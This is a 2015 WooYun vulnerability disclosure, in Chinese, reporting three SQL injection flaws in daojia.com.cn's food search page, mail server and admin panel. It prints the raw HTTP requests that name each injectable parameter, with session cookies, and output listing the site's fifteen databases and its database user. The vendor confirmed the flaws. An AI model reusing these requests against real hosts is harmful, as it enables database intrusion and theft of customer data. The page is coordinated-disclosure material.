当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0148999

漏洞标题:到家美食会SQL注入漏洞3枚(时间盲注/DBA权限)

相关厂商:daojia.com.cn

漏洞作者: 路人甲

提交时间:2015-10-24 11:57

修复时间:2015-12-12 11:52

公开时间:2015-12-12 11:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-24: 细节已通知厂商并且等待厂商处理中
2015-10-28: 厂商已经确认,细节仅向厂商公开
2015-11-07: 细节向核心白帽子及相关领域专家公开
2015-11-17: 细节向普通白帽子公开
2015-11-27: 细节向实习白帽子公开
2015-12-12: 细节向公众公开

简要描述:

2333333333

详细说明:

1.png

GET /food_search.php?a=3&r=73&name=aaa HTTP/1.1
Host: www1.daojia.com.cn
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Referer: http://www1.daojia.com.cn/rest/3/73
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=coecochg6nba1kj8t99sb52c90; SERVERID=2; DaojiaDinnerBox=; currentCity=1; daojia=[][][1][][/restaurant.php%3Fa%3D3%26r%3D73][/list_rest.php%3Fa%3D3][][0];
CNZZDATA2288838=cnzz_eid%3D1321517992-1445598354-%26ntime%3D1445598354; Hm_lvt_94cfa510944eefd27564a777cd1d4ec5=1445601835; Hm_lpvt_94cfa510944eefd27564a777cd1d4ec5=1445603640


1.png

漏洞证明:

1.png

另一枚(企业邮箱):

GET /wm2e/website/jsp/getImg.jsp?usr=admain@daojia.com.cn&rtcode=0.8210776050109416&t=1445604441995 HTTP/1.1
Host: mail.daojia.com.cn
Proxy-Connection: keep-alive
Accept: image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Referer: http://mail.daojia.com.cn/wm2e/website/jsp/resetPassword.jsp
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=7ABFFC857D4A4317266A576D62A35AD5.2e217; doing=; daojia=[][][1][][/restaurant.php%3Fa%3D17%26r%3D5117][/restaurant.php%3Fa%3D17%26r%3D2681][][0];
Hm_lvt_94cfa510944eefd27564a777cd1d4ec5=1445601835; Hm_lpvt_94cfa510944eefd27564a777cd1d4ec5=1445604240; currentCity=1; DaojiaDinnerBox=; wm_custom_login_adminname=admin;
wm_custom_login_ma_ssl=0; wm_custom_login_ma_security=0


1.png


1.png


GET /service.php?g_current_city=1&action=2147483649&user=admin HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: zh-cn
Referer: http://admin.daojia.com.cn/
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Host: admin.daojia.com.cn
Proxy-Connection: Keep-Alive
Cookie: doing=; daojia=[][][1][][/restaurant.php%3Fa%3D17%26r%3D5117][/restaurant.php%3Fa%3D17%26r%3D2681][][0]; Hm_lvt_94cfa510944eefd27564a777cd1d4ec5=1445601835;
Hm_lpvt_94cfa510944eefd27564a777cd1d4ec5=1445604240; currentCity=1; DaojiaDinnerBox=; PHPSESSID=t1hr7d6ucenhbn3mj6nogsj086; SERVERID=2

available databases [15]:
[*] beijing
[*] changzhou
[*] guangzhou
[*] hangzhou
[*] information_schema
[*] mysql
[*] nanjing
[*] performance_schema
[*] shanghai
[*] shenzhen
[*] suzhou
[*] test
[*] tianjin
[*] wuhan
[*] wuxi

1.png


current user:    'daojia@10.1.1.%'

1.png


太多了 就点到为止

修复方案:

目测贵站好多洞 加油

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-10-28 11:50

厂商回复:

漏洞已确认,多谢帮助!

最新状态:

暂无